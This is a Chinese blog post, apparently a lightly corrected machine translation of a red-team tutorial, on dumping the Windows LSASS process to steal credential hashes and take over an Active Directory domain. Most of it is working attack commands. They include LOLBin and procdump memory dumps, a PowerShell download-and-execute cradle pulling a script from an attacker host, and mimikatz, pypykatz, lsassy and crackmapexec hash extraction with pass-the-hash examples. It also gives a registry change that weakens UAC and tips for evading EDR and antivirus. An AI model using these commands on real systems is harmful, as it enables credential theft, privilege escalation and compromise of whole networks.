AD 横向移动-LSASS 进程转储

本文通过 Google 翻译 Dumping Credentials -- LSASS Process Hashes 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。

导航

  • [0 前言](#0 前言)
  • [1 LSASS 进程简介](#1 LSASS 进程简介)
  • [2 转储 LSASS 进程 -- 任务管理器(GUI)](#2 转储 LSASS 进程 – 任务管理器(GUI))
  • [3 转储 LSASS 进程 -- LOLBins(CLI)](#3 转储 LSASS 进程 – LOLBins(CLI))
    • [3.1 Comsvcs.dll](#3.1 Comsvcs.dll)
    • [3.2 Rdrleakdiag.exe](#3.2 Rdrleakdiag.exe)
    • [3.3 Adplus.exe](#3.3 Adplus.exe)
    • [3.4 Createdump.exe](#3.4 Createdump.exe)
    • [3.5 Dump64.exe](#3.5 Dump64.exe)
    • [3.6 DumpMinitool.exe](#3.6 DumpMinitool.exe)
    • [3.7 SQLDumper.exe](#3.7 SQLDumper.exe)
  • [4 转储 LSASS 进程 -- 工具和脚本(CLI)](#4 转储 LSASS 进程 – 工具和脚本(CLI))
    • [4.1 Procdump64.exe](#4.1 Procdump64.exe)
    • [4.2 Out-Minidump.ps1](#4.2 Out-Minidump.ps1)
  • [5 离线提取 LSASS 文件 -- Pypykatz](#5 离线提取 LSASS 文件 – Pypykatz)
  • [6 内存提取 LSASS 进程 -- Mimikatz](#6 内存提取 LSASS 进程 – Mimikatz)
  • [7 远程提取 LSASS 进程](#7 远程提取 LSASS 进程)
    • [7.1 Lsassy](#7.1 Lsassy)
    • [7.2 CrackMapExec](#7.2 CrackMapExec)

0、前言

在这篇文章中,我们将探讨可用于转储 LSASS 进程并提取其中哈希值的各种工具和技术。由于转储 LSASS 进程必须要有高完整性的管理员权限才能进行,因此在本文的各种场景中,它们转储的前提都是已拥有 本地管理员/域管理员/SYSTEM 权限。

首先,我们在 RDP 的桌面环境下使用任务管理器去转储 LSASS 进程;然后,在无 GUI 的命令行环境下使用 7+2 种方式去转储 LSASS 进程。

在通过上述各种方式转储进程之后,我们将进入攻击的下一阶段 -- 提取哈希值。从 LSASS 进程中提取哈希的方式有 3 种:(1)从转储的进程文件中通过 Pypykatz 离线提取。(2)使用 Mimikatz 直接在受害机本机的内存中提取。(3)在获得管理员凭据的情况下,通过 Lsassy、CrackMapExec 工具远程从 LSASS 进程中提取。

1、LSASS 进程简介

LSASS(本地安全授权子系统服务)是 Windows 操作系统中一个非常核心且重要的系统进程,它主要用于处理 用户身份验证、访问令牌生成、本地安全策略执行 等任务。它的进程名是 lsass.exe

用户身份验证:LSASS 负责验证用户在本地或远程登录系统时的凭据(如用户名和密码)。当用户登录时,它会与 Active Directory 或本地账户数据库进行交互,确认用户身份是否合法。

访问令牌生成:成功验证用户身份后,LSASS 创建一个访问令牌,用于标识用户及其权限,这个令牌随后由系统用于权限检查。

本地安全策略执行: 它加载本地安全策略(如密码策略、账户锁定策略等)并在系统运行期间持续执行这些策略。

其中,访问令牌生成 功能是最令我们感兴趣的,因为它会将验证成功之后的用户凭据存储在内存中(直到系统下次重启失效)。而存储的凭据可以使用户在反复访问网络资源时(如文件共享),无需为每个远程服务反复输入凭据。那么在哪些场景下,才会发生凭据被存储于内存中呢?请看下面:

  • 登录计算机上的本地会话或远程桌面会话(RDP)
  • 使用 RunAs 执行任务
  • 运行活动的 Windows 服务
  • 运行计划任务或批处理作业
  • 使用远程管理工具 (RSAT) 在本地计算机上执行任务

注:在现代 Windows 系统(win8+ 及 server 2012+)中,LSASS 受到保护进程机制(Protected Process Light, PPL)的保护,限制了对其内存的访问。

2、转储 LSASS 进程 -- 任务管理器(GUI)

在这个例子中,假设我们已获得一个本地管理员帐户的凭据,且可以通过 RDP 成功访问目标主机。

bash 复制代码
sudo xfreerdp /u:pwnt /p:'Password123' /v:172.16.1.50 +clipboard

登录之后,可以看到当前本地管理员的权限是高完整性权限,因此我们可以使用任务管理器去转储 LSASS 进程。

要创建进程转储文件,首先打开任务管理器(Taskmgr.exe)。

然后在"详细信息"选项卡找到 lsass.exe 进程,并右键并选择"创建转储文件"。

如果有效,将会出现一个弹框,向我们显示 DMP 文件的路径。

Awesome!转储已成功创建,接下来就可以将其传输到攻击者机器进行哈希提取了。

3、转储 LSASS 进程 -- LOLBins(CLI)

在这个示例中,假设我们只是获得了目标主机的 SYSTEM shell 立足点,没有 GUI 桌面环境可使用。

这次,我们将使用各种 Windows 二进制文件(LOLbins)来转储 LSASS 进程。当然这些程序可能是 windows 某些版本的系统中内置的,也可能是来自某些安装的软件或服务中携带的。因此,在使用这些程序之前,请务必先确认其是否存在于系统之上。确认命令如下:

cmd 复制代码
cd "C:\Program Files" && dir /S /B *adplus.exe* == *createdump.exe* == *dump64.exe* == *DumpMinitool.exe* == *Sqldumper.exe* && cd "C:\Program Files (x86)" && dir /S /B *adplus.exe* == *createdump.exe* == *dump64.exe* == *DumpMinitool.exe* == *Sqldumper.exe*

此外,由于我们滥用这些二进制文件的内置功能,因此该活动看起来不那么可疑,并且经常会绕过 EDR 工具。

有关我们在本文中使用的所有 LOLBins 信息可以在 这里 找到。
注:这些工具虽然很隐蔽,但个人感觉很难用,而且效果也并不是太好,有时还可能会引发一些系统异常的问题。

3.1、Comsvcs.dll

红队用来转储 LSASS 进程的最常见技术之一是利用 comsvcs.dllMiniDump 功能。

首先,需要找到 LSASS 进程的 PID:

cmd 复制代码
tasklist | findstr -i "PID lsass"

然后,再使用 rundll32.exe 执行 comsvcs.dll 创建该进程的转储文件。

cmd 复制代码
rundll32.exe C:\windows\system32\comsvcs.dll MiniDump 500 C:\windows\temp\dump.dmp full

可以看到,DMP 文件已被成功创建。

注:多次测试未能成功。

3.2、Rdrleakdiag.exe

rdrleakdiag.exe 也称为 Microsoft Windows 资源泄漏诊断工具,通常用于收集资源耗尽检测和解决方案 (RADAR)。

但是,该工具还具有内置功能,使我们能够使用 /fullmemdmp 选项执行内存转储。

cmd 复制代码
rdrleakdiag.exe /p 500 /o c:\windows\temp /fullmemdmp /wait 1

运行第一个命令后,看起来好像没有起作用?那是因为我们还需要使用 /snap 选项再次运行该命令。

cmd 复制代码
rdrleakdiag.exe /p 500 /o c:\windows\temp /fullmemdmp /snap

Amazing!再次成功创建了 LSASS 进程的转储。

3.3、Adplus.exe

Windows SDK(软件开发工具包)中提供了一组调试工具,主要用于辅助构建应用程序的构建过程。其中一个工具是 adplus.exe,它可用于转储指定进程的进程内存。如下所示:

cmd 复制代码
.\adplus.exe -hang -pn lsass.exe -o c:\windows\temp -quiet

或者,如果我们想要更隐秘,那么我们可以使用 tasklist 命令找到 LSASS 进程的 PID,然后在命令中指定 PID,如下所示:

cmd 复制代码
.\adplus.exe -hang -p 608 -o c:\windows\temp -quiet

一旦"调试"完成,我们就可以从输出中复制并粘贴文件夹位置,并看到我们的 DMP 文件已创建。

3.4、Createdump.exe

如果主机正在运行 IIS Web 服务器,那么很可能安装了 dotnet。如果安装了 dotnet ,那么系统上应该就有 createdump.exe ;或者,如果目标上安装了 Microsoft Visual Studio ,那么系统中也可能存在 createdump.exe

与 adplus.exe 不同,creatdump.exe 没有在命令行中输入进程名称的选项。因此,我们需要首先使用 tasklist 命令确定 LSASS 进程的 PID ,然后在命令中指定 PID,如下所示:

cmd 复制代码
.\createdump.exe -n -f c:\windows\temp\dump.dmp 596

3.5、Dump64.exe

Dump64.exe 也是 Microsoft Visual Studio 中的一个工具,与 createdump.exe 类似,它也需要首先确定 LSASS 进程的 PID 。

cmd 复制代码
.\dump64.exe 596 c:\windows\temp\dump64.dmp

3.6、DumpMinitool.exe

DumpMinitool.exe 也是 Microsoft Visual Studio 附带的一个内存转储工具,它也需要首先确定 LSASS 进程的 PID 。

cmd 复制代码
DumpMinitool.exe --file c:\windows\temp\dump.txt --processId 596 --dumpType Full

3.7、SQLDumper.exe

SQLDumper.exeMicrosoft SQL Server 携带的一个工具,它也需要首先确定 LSASS 进程的 PID 。

cmd 复制代码
./sqldumper.exe 592 0 0x01100

4、转储 LSASS 进程 -- 工具和脚本(CLI)

到目前为止,除了我们前面介绍的七种 LOLBins 命令之外,还有一些其它的外部工具也可以用来转储 LSASS 进程,分别是 Procdump64.exeOut-Minidump.ps1

4.1、Procdump64.exe

Procdump64.exeSysinternals 套件的一个工具,专门用于转储进程。用法如下:

cmd 复制代码
.\procdump64.exe -ma lsass.exe .\pdump.dmp -accepteula

此外,我们还可以通过传递 LSASS 进程的 PID 来转储进程:

cmd 复制代码
.\procdump64.exe -ma 592 c:\windows\temp\pdump.dmp -accepteula

4.2、Out-Minidump.ps1

Out-Minidump.ps1Empire 后利用框架的一个 Powershell 脚本工具,它也专门用于转储进程。

下载该工具的副本,然后在底部附加以下命令:

powershell 复制代码
echo 'Get-Process lsass | Out-Minidump' >> Out-Minidump.ps1

最后就可以在受害机运行以下命令来转储 LSASS 进程:

powershell 复制代码
iex(new-object net.webclient).downloadstring('http://172.16.1.30/Out-Minidump.ps1')

如果我们不想转储出来的文件名称中携带 lsass 这样的关键名字(以防杀毒软件的检测),我们可以通过编辑脚本中的以下行来解决这个问题:

5、离线提取 LSASS 文件 -- Pypykatz

在以多种不同的方式转储 LSASS 进程之后,我们现在拥有同一个 DMP 文件的多个版本。这时,我们只需将其中一个 DMP 文件传输到攻击机,然后在攻击机本地离线提取哈希值。

Pypykatz 是 Mimikatz 的纯 Python 实现,它允许我们离线转储 dump 文件中的哈希值。用法如下:

bash 复制代码
pypykatz lsa minidump dump.dmp

可以看到,域管理员"nessex" 曾登录该主机并留下了它的凭证令牌!因此,我们现在可以通过哈希传递转向 DC 并完全接管域控!

6、内存提取 LSASS 进程 -- Mimikatz

转储 LSASS 进程的另一种方法是使用 Mimikatz,它不需要像上面那些工具一样需要先创建 DMP 文件然后再提取哈希,而是直接在内存中的 LSASS 进程中提取哈希。用法如下:

cmd 复制代码
.\mimikatz.exe "token::elevate" "privilege::debug" "sekurlsa::logonpasswords" "exit"

可以看到,我们再次获得了域管理员用户 nessex 的 NT 哈希。

7、远程提取 LSASS 进程

对于转储 LSASS 进程的最后一组示例,我们将了解如何远程执行转储。而要远程转储,我们需要满足以下三个标准中的至少一个:

  • 本地 administrator 帐户的哈希值或密码(本地管理员组的成员不可以)
  • 域管理员组的成员帐户的哈希值或密码
  • 本地 SYSTEM 账户(计算机账户)的哈希值

注:本地管理员组的成员不可以的原因。由于 UAC 的原因,导致通过此凭证远程过去的权限其实是中完整性的管理员权限。因此,这种权限不足以进行 LSASS 进程转储,因此不可以。

此外,再提供一关闭 UAC 的命令:reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

在下面的例子中,假设我们已获得了目标机器的一个本地管理员组成员的凭证,并且目标 UAC 也是处于关闭的状态。在使用 CrackMapExec 检查访问权限时也显示"Pwn3d!",这表明我们有能力对目标进行远程访问!

7.1、Lsassy

我们将使用的第一个从 LSASS 进程远程提取哈希的工具是名为 Lsassy 的出色工具。它并不像 Mimikatz 那样直接从内存中提取哈希值,而是先使用 comsvcs.dll 创建 LSASS 进程的转储,然后再使用 Pypykatz 在本地提取哈希值。这相当于是将我们上述的手动流程给自动化了而已。

值得注意的是,Lsassy 已经集成到 crackmapexec 中。

bash 复制代码
lsassy -u pwnt -p Password123 172.16.1.50

#哈希用法:lsassy -u Administrator -H aad3b435b51404eeaad3b435b51404ee: 3542d79d5d17bc9d3014d4d56b5e3060 172.16.1.50

BOOM!可以看到,它成功提取了五个 NTLM 哈希,其中还包括本地 SYSTEM(即带 $ 的计算机帐户)。

Lsassy 做的另一件很酷的事情是,它为找到的所有哈希值都创建了 Kerberos 票证,然后就可以在传递票证攻击中使用这些票证通过 Kerberos 进行身份验证。

7.2、CrackMapExec

如上所述,Lsassy 被集成到了 CrackMapExec 中,那我们看看该如何使用它:

bash 复制代码
crackmapexec smb 172.16.1.50 -u pwnt -p 'Password123' --local-auth -M lsassy

#哈希用法: crackmapexec smb 172.16.1.50 -u Administrator -H aad3b435b51404eeaad3b435b51404ee: 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -M lsassy

可以看到,输出并不如使用 Lsassy 时那么丰富,只提取到了 4 个哈希值。这是因为 CrackMapExec 会"清理"输出,只显示"已登录"用户的哈希值。

Amazing!这两种技术都能很好地远程转储 LSASS 进程。

相关推荐
bing_feilong4 小时前
Windows上SSH连接Ubuntu失败
windows·ubuntu·ssh
nenchoumi31194 小时前
UE5 学习系列(二)用户操作界面及介绍
windows·学习·ue5·机器人
CPU不够了5 小时前
window7 wpf程序打不开问题排查及处理
windows·.net·wpf
frankz6110 小时前
ffmpeg windows 32位编译
windows·ffmpeg
张声录110 小时前
Windows 环境下 Golang 与 Vosk-API 语音识别开发环境搭建指南
windows·golang·语音识别
tanyyinyu11 小时前
Python列表:高效灵活的数据存储与操作指南
开发语言·windows·python
刚入门的大一新生13 小时前
C++初阶-list的底层
c++·windows·list
不爱搬砖的码农19 小时前
windows系统MySQL安装文档
windows·mysql·adb
BillKu1 天前
MyBatis中foreach集合用法详解
windows·mybatis